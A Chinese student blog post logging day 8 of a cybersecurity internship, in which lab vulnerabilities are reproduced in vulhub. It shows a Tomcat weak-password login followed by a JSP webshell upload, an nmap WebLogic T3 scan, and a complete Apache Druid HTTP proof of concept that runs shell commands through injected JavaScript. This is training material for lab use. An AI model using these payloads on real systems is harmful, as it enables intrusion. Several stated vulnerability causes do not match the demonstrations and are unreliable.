网络空间安全毕业实习日志day8

已于 2024-09-09 16:50:48 修改
阅读量626 收藏 8
点赞数 7
文章标签： 安全
于 2024-09-09 16:48:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_64006832/article/details/141936621
版权

目录

1.在vps安装docker和docker-compose

Docker

Docker-compose

Docker与Docker-compose的联系与区别

vps安装docker和docker-compose 

2.上课涉及的vulhub中的漏洞，全部复现，同时说明漏洞成因

tomcat 

tomcat 漏洞复现

tomcat 漏洞成因

weblogic

weblogic 漏洞复现

weblogic 漏洞成因

apache druid RCE

apache druid RCE 漏洞复现

apache druid RCE 漏洞成因

3.总结RCE漏洞的原理和利用条件及解决方案

1.在vps安装docker和docker-compose

Docker与Docker-compose是现代软件开发和部署中不可或缺的工具，它们在容器化应用方面发挥着重要作用。

Docker

1. 简介

Docker是一个开源的应用容器引擎，它允许开发者将应用程序及其依赖项打包到一个可移植的容器中，然后发布到任何流行的Linux或Windows操作系统的机器上。Docker通过提供轻量级、可移植的容器环境，简化了应用程序的部署和管理。

2. 核心概念

  • 镜像（Image）：Docker镜像是一个只读的、可执行的文件系统，包含了所有应用的代码、库、系统工具等。镜像可以通过Docker Hub、Docker Registry等仓库来获取和分享。
  • 容器（Container）：Docker容器是从镜像创建的运行实例，包含了应用的所有依赖项和运行时环境。容器是隔离的，每个容器都运行在自己的独立的文件系统和网络空间中，不会互相影响。
  • Dockerfile：Dockerfile是用于构建Docker镜像的文件，包含了一系列的构建指令，例如FROM、RUN、COPY、CMD等。开发人员可以通过编写Dockerfile来定义应用的构建过程，并使用Docker CLI来构建镜像。
  • Docker Engine：Docker Engine是Docker的核心组件，负责构建、运行和管理容器。它包含了一个容器运行时、镜像存储、API服务等组件。

3. 主要特点

  • 可移植性：Docker容器可以在任何安装了Docker引擎的机器上运行。
  • 隔离性：每个Docker容器都是完全独立的，实现了应用程序的隔离。
  • 轻量级：Docker容器比传统的虚拟机更轻量级，因为它们共享宿主机的内核。
  • 自动化：通过Dockerfile，开发者可以自动化地构建、打包和发布应用程序。
  • 安全性：Docker通过限制容器对宿主机的访问权限和提供安全的容器间通信机制，增强了应用程序的安全性。

Docker-compose

1. 简介

Docker-compose是Docker的官方开源项目，用于定义和运行多容器Docker应用程序。它允许开发人员使用YAML格式的配置文件（docker-compose.yml）来定义应用的多个容器及其之间的关系，并可以一次性启动、停止、重新构建所有容器。

2. 核心概念

  • Compose文件（docker-compose.yml）：这是一个YAML格式的配置文件，用于定义应用的多个容器及其之间的关系。它包含了容器的名称、镜像、端口、环境变量等配置项。
  • 服务（Service）：在Compose文件中，服务是一个独立的容器，用于运行应用的一个组件。每个服务都有一个唯一的名称和镜像，可以通过Compose文件中的配置项来定义运行参数。
  • 网络（Network）：在Compose文件中，网络是一个用于连接多个容器的虚拟网络。容器可以通过网络来相互通信。
  • 卷（Volume）：在Compose文件中，卷是一个可以在多个容器之间共享的持久化存储。它用于存储应用的数据、配置文件等。

3. 主要特点

  • 多容器定义：通过编写一个YAML格式的配置文件，可以定义多个相互依赖的服务和它们之间的连接关系。
  • 一键部署：使用Docker Compose，可以一键启动或停止多个容器，而无需逐个手动操作。
  • 依赖管理：Docker Compose可以自动处理容器之间的依赖关系，确保服务按照正确的顺序启动和停止。
  • 环境变量和配置管理：可以在docker-compose.yml文件中定义环境变量和配置文件，并在容器之间共享。
  • 网络管理：Docker Compose可以创建和管理容器之间的网络，确保它们能够相互通信。

Docker与Docker-compose的联系与区别

联系：

  • Docker是一个用于构建、运行和管理容器的工具，而Docker Compose则是一个用于定义、运行多容器应用的工具。
  • Docker Compose使用Docker Engine来运行和管理容器，并通过Compose文件来定义应用的多个容器及其之间的关系。

区别：

  • Docker主要用于单个容器的创建、管理和运行，提供了强大的可移植性、隔离性和自动化功能。
  • Docker Compose则专注于定义和运行多容器Docker应用程序，通过管理容器之间的依赖关系、环境变量、网络等，使得复杂应用程序的部署和管理变得更加容易。

vps安装docker和docker-compose 

kali安装docker及vulhub靶场环境

root权限下，编辑 /etc/apt/sources.list文件，更换国内镜像源

1）vim /etc/apt/sources.list

# 镜像源，二选一即可

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib        # 中科大

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib         #  阿里云

2）apt-get update                                                                                    # 换源之后更新

下载docker及docker-compose

1）apt install docker.io

2）docker -v                                            # 查看docker版本

3）pip install docker-compose                # 使用pip下载安装，没有pip的执行apt install python3-pip

4）docker-compose -v                            # 查看docker-compose版本

# 此处若出现报错，更换pip源再次下载

pip install docker-compose -i Simple Index

下载vulhub靶场

git clone https://github.com/vulhub/vulhub.git

 

2.上课涉及的vulhub中的漏洞，全部复现，同时说明漏洞成因

tomcat 

Tomcat 服务器是一个开源的轻量级 Web 应用服务器，在中小型系统和并发量小的场合下被普遍使用，是开发和调试 Servlet、JSP 程序的首选。

tomcat 漏洞复现

Tomcat 弱口令+getshell 漏洞环境搭建进入 

验证 ：http://192.168.129.210:8080/

http://192.168.129.210:8080/manager/html   进入后台 弱口令 tomcat

war 包制作 ： jar -cvf shell_jsp2.war shell.jsp             将shell.jsp打包为war包。

上传木马 war 包

访问木马：http://192.168.1.5:8080/shell.jsp/shell.jsp

使用冰蝎连接，密码abcdef

成功复现

tomcat 漏洞成因

  Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shell

weblogic

开放Weblogic控制台的7001端口，默认会开启T3协议服务，T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞，攻击者可以发送构造的恶意T3协议数据，获取目标服务器权限。

weblogic 漏洞复现

 启动靶场后访问 192.168.1.57001/console/login/LoginForm.jsp

nmap扫描

攻击机kali nmap扫描靶机ip，看目标是否开启T3协议

nmap -n -v -p 7001 your-ip --script=weblogic-t3-info

 

weblogic 漏洞成因

存在弱口令

apache druid RCE

  Apache Druid是一个高性能的实时大数据分析引擎，支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP（在线分析处理）场景，能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点，广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid，企业和开发者可以快速获得实时分析结果，提升决策效率。

apache druid RCE 漏洞复现

打开环境可以看到下图：

点击 Load data 按钮

点击 Local disk 按钮

抓包发送下面的POC

POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
 
{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{
 
                },
                "dimensionsSpec":{
 
                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

命令成功执行

apache druid RCE 漏洞成因

  在Apache Druid使用Apache Kafka加载数据的场景下，未经身份认证的远程攻击者可配置Kafka连接属性，从而利用CVE-2023-25194漏洞触发JNDI注入，最终执行任意代码。（其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响）


3.总结RCE漏洞的原理和利用条件及解决方案

1. 什么是远程代码执行漏洞

远程命令/代码执行漏洞，简称RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。RCE分为远程命令执行ping和远程代码执行evel。

2. 漏洞产生的根本原因

服务器没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令。

3. 如何挖掘RCE漏洞

黑盒测试：网站中有特殊功能，比如Ping、数据库备份等等。

白盒测试：查看命令执行函数是否做过滤。命令执行函数如下：

PHP代码执行函数：eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()

PHP命令执行函数：system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

4. 挖到这个漏洞能做什么

  • 远程命令、代码执行（单凭这一点能做的事情就不少，如下）
  • 获取敏感数据、文件、服务器信息
  • 写入恶意文件Getshell

5. 如何利用此漏洞

在网上你会发现有很多关于RCE的文章基本都是白盒检测出来的，但是渗透测试过程中，都是黑盒测试的。但是黑盒挖掘RCE漏洞太难了，很少有特征点，要理解参数的意义才有可能黑盒测试到。

6. 漏洞造成的危害

RCE漏洞造成的危害不言而喻，高危漏洞。能直接获取服务器的控制权。

7. 发现此漏洞，该怎么修复

  • 通用的修复方案，升级插件/框架/服务最新版。
  • 如若必须使用危险函数，那么针对危险函数进行过滤。

8. 如何防范此漏洞

  • 在进入执行命令函数前进行严格的检测和过滤；
  • 尽量不要使用命令执行函数，不能完全控制的危险函数最好不使用；
  • 对于eval函数，一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式；
BalderOvO
关注
实习日志day8---任务一总结
ye15700786134的博客
08-31 578
这算是我目前为止参与的最大的项目了。模块名和项目结构命名都是规范的，可以知道各个模块大概用途。 简单介绍项目的组成和使用的库： MPDEC :现成的库，解决数据库中浮点型数问题， ESMASTMAIN：解决方案主入口， master：动态链接库，编写。 使用MVC模式，m--数据处理逻辑 v--跟用户交互的视图 c---流程控制，数理逻辑控制 comm：基础类库
【计算机毕业设计】医院管理系统源码
卓怡学长的博客
11-18 1205
目前各医疗机构中，绝大部分中小型医疗机构内部没有实现任何信息化管理，医院临床信息，业务流程的数据依然采取纸质记录，造成数据容易丢失，对医院造成重大损失。医院内部的挂号、收费、药房、药库、科室、病床的信息管理都存在缺漏，对患者的临床信息不能做到完整保存，高效查询，数据的容易出错、遗漏，造成换院治病难，医院不敢治，错过最佳治疗期等现状，对患者的治疗造成严重的影响。 二．开发目标开发环境及相关技术介绍 医院管理系统的开发目标主要包括: 实现医院内部的挂号、收费、药房、药库、科室、病床的信息化管理。提供
网络空间安全毕业实习日志day3
qq_64006832的博客
08-29 1983
在上述命令中，–listen表示开启xray的被动扫描模式，监听8888端口（Xray），–html-output参数指定xray将扫描结果以html的形式输出到指定文件中。：Xray接收到来自BurpSuite的请求后，进行自动化的Web漏洞扫描。：BurpSuite提供用户界面，允许用户与捕获的请求和响应进行交互，如查看请求详情、修改请求内容、发送请求到Xray等。：对于需要转发给Xray进行扫描的请求，BurpSuite将这些请求转发到配置的上游代理服务器（Xray）。
网络空间安全毕业实习日志day6
qq_64006832的博客
09-04 1004
CSRF（跨站请求伪造）和XSS（跨站脚本攻击）是两种常见的网络攻击方式，它们在原理、攻击目标、攻击方式以及防护手段上都有着显著的区别。
网络空间安全毕业实习日志day5
qq_64006832的博客
09-02 879
SQL注入原理SQL注入（SQL Injection）是一种针对Web应用程序数据库的安全漏洞攻击手段。其原理在于，攻击者通过在Web表单的输入域或页面请求的查询字符串中插入恶意SQL代码片段，欺骗数据库服务器执行非授权的数据库操作。这些操作可能包括查询、插入、更新或删除数据，从而导致数据泄露、篡改或丢失。具体来说，SQL注入漏洞的发生通常是因为Web应用程序对用户输入的数据没有进行充分的验证和过滤，导致攻击者能够控制并修改后端数据库执行的SQL语句。
网络空间安全毕业实习日志day7
qq_64006832的博客
09-05 1805
文件上传漏洞简述。
网络空间安全毕业实习日志day4
qq_64006832的博客
08-30 2221
XSS（跨站脚本攻击，Cross Site Scripting）是一种网络安全漏洞，攻击者通过向网页中注入恶意脚本来实现对用户浏览器的控制。XSS攻击主要可以分为反射型、存储型和DOM型三种，它们各自具有不同的特点和区别。
网络空间安全毕业实习日志day2
qq_64006832的博客
08-28 995
五、dirmap目录探测工具实践（使用昨日搭建的pikachu靶场），要求讲述为什么dirmap每次扫描条数不一样，加分项：dirmap高级应用，详细见项目文档，项目链接https://github.com/H4ckForJob/dirmap。不同的扫描模式可能会扫描到不同的目录和文件，从而导致扫描条数的差异。本地DNS服务器开始递归查询过程，首先检查自己的缓存，如果没有记录，它会向根域名服务器发出请求，然后依次向顶级域名服务器（TLD）和权威DNS服务器进行查询，通过迭代方式最终找到域名对应的IP地址。
网络空间安全毕业实习日志day1
qq_64006832的博客
08-27 345
要求使用proxy、Intruder、Repater三种模式复现，Proxy模块需要直接修改请求包，并拦截返回包进行截图，Intruder需要使用狙击手、交叉和集束炸弹三种形式复现。输入错误的用户名，密码和正确的验证码对其抓包，Send to Repeater后，在重发模块，随便修改下密码点击Send观察响应包里面验证码是否改变，发现响应包验证码未改变。爆破结束后，返回长度不同于其他数据包的，就是正确的账号密码。后续同第一关进行爆破，得到正确用户名和密码。和第一关一样对包进行爆破，得到用户名和密码。
网络空间安全毕业实习日志day10
qq_64006832的博客
09-12 820
通过查看kali自身的IP地址，如下图，确定当前靶机也在192.168.200下，使用nmap进行C段扫描nmap扫描192.168.200.0/24首先我们使用nmap的sP参数通过ping探测已存活的主机。
网络空间安全毕业实习日志day11
qq_64006832的博客
09-11 739
应急响应流程是一套精心设计的系统化方法，它如同一道坚固的防线，旨在迅速而有效地应对那些突如其来的安全事件。通过这一流程，我们能够最大限度地减少损失，并且在危机过后，让系统恢复到正常运行的状态。下面，让我们深入探讨这一流程的各个环节，它们是预案、研判、遏止、取证、溯源和恢复，这些环节相互衔接，共同构成了一个灵活而强大的应急响应体系。
SpringBoot
qq_44775798的博客
03-21 391
三、Spring的JavaConfig 3.1、Spring的版本 spring是一个社区 3.1.1、Spring1.X版本 该版本是Spring的第一个版本，只支持XML文件配置，不能使用注解，使用起来是有点复杂的 3.1.2、Spring2.x版本 该版本与JDK1.5发布的时间非常接近，JDK1.5支持注解（如：@Override），同时spring2....
2019年度优秀安全内容合集
热门推荐
anquanzushiye的博客
01-06 3万+
2019信息源与信息类型占比微信公众号推荐昵称_英语weixin_no标题网址安全祖师爷PowerShell渗透–帝国https://mp.weixin.qq.com/s/giBR-rn...
【进大厂必学】3W字180张图学习Linux基础总结
L的存在的博客
05-26 4558
就不多说这段时间干啥去了吧，期间和很多的同学聊了天，有的童鞋已经开始工作，聊了聊工作上的事儿。有的是今年即将毕业的童鞋，有着自己的小目标，有的想尝试互联网，所以现在基本上都快进行二轮的复习了，有的同学备战公务员，凭着年轻这股劲儿向往自己理想的生活状态，无论怎么样，长路漫漫，走一步，算一步，每一步都算数。 今天分享的这篇文章是 Linux 相关的基础知识，深一点的内容基本上没有，不过对于刚需小伙伴来说，也就够了，有时间的话，最好按照这些命令去试一试，敲一敲，这样记忆更加深刻。 老规矩，先看目录，文章比较长，建
案例精选 | 某知名教育集团基于安全运营平台的全域威胁溯源实践
juminfo的博客
11-18 411
某知名教育集团成立于1999年，总部位于北京海淀中关村。集团专注于K-12基础教育，构建了从幼儿园到高中的全面教育体系，涵盖学校管理、教学科研、师资培训、信息化服务等多个方面。集团在全国范围内设有15所小学、12所初中、9所高中、6个国际部、2个大学预科项目和近30所幼儿园，拥有在校学生5万余人，现已发展成为中国领先的民办基础教育机构之一。近年来，在“互联网+教育”国家战略的指引下，该集团积极响应，将信息技术深度嵌入教育教学过程，构建了高效的教学质量监控云平台和先进的教学信息化系统。
等保二级需要哪些安全设备?
bocco的博客
11-15 558
同时，还应加强安全管理措施的实施，提高员工的安全意识和能力，共同维护企业的信息安全。这些设备能够实时监测机房内的温湿度、漏水情况，一旦超出预设范围，便会自动报警，及时采取措施，确保服务器在适宜的环境中稳定运行。1. 防火墙：防火墙是网络安全的第一道屏障，能够控制进出网络的数据包，防止未经授权的访问和恶意攻击。在等保二级中，应部署下一代防火墙，其不仅具备传统防火墙的功能，还集成了入侵防御、防病毒等功能，能够更有效地保护服务器的安全。通过部署日志审计系统，可以及时发现并处理网络中的异常行为，提高网络的安全性。
JWT深度解析：Java Web中的安全传输与身份验证
2401_85760095的博客
11-14 630
JSON Web Token（JWT）是一种轻量级的身份验证和授权标准，它允许在各方之间安全地传输信息。JWT作为一种安全传输信息和身份验证的解决方案，在Java Web开发中扮演着重要角色。它通过紧凑、自包含的方式传输用户信息，同时支持无状态和跨域认证，使得JWT成为现代Web应用中不可或缺的一部分。JWT是一种紧凑的、URL安全的令牌，用于在各方之间安全地传输信息。JWT的结构允许其轻松地在不同的系统之间传输，并且能被携带在URL的参数中，同时也支持在POST请求体中作为表单数据发送。
Spring MVC 中是如何保证Controller的并发安全？
每日一贴
11-18 808
Spring MVC 保证Controller单例无状态设计默认是单例，因此控制器应设计为无状态。避免使用共享的可变实例变量：控制器中不应包含任何共享的可变实例变量，以免在并发访问时发生线程安全问题。使用存储线程独立的临时状态：当需要共享一些临时状态时，使用来隔离数据。使用局部变量存储临时数据：将中间状态或临时数据存储在局部变量中，以确保每个请求的隔离性和线程安全。通过这些设计原则和代码实践，Spring MVC 的Controller能够在高并发环境中有效保证线程安全。
一些常见网络安全术语
最新发布
Hacker_xingchen的博客
11-18 734
(2) 　蜜罐好比是情报收集系统,蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击,所以攻击者如前后,就可以知道攻击方如何得逞的,随时了解对服务器发动的最新攻击和漏洞,还可以通过窃听黑客之间的联系,手机黑客所用的种种工具,并且掌握他们的社交网络。在计算机科学中,社会工程学指的是通过与其他人的合法地交流,来使其心理受到影响,做出某些动作或者透露一些机密信息的方式,这通常被认为是一种欺诈他人以收集信息/行骗和入侵计算机系统的行为,在英美普通法系中,这一行为一般是被认为侵权隐私权的!这是一顶黑帽子的反面。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值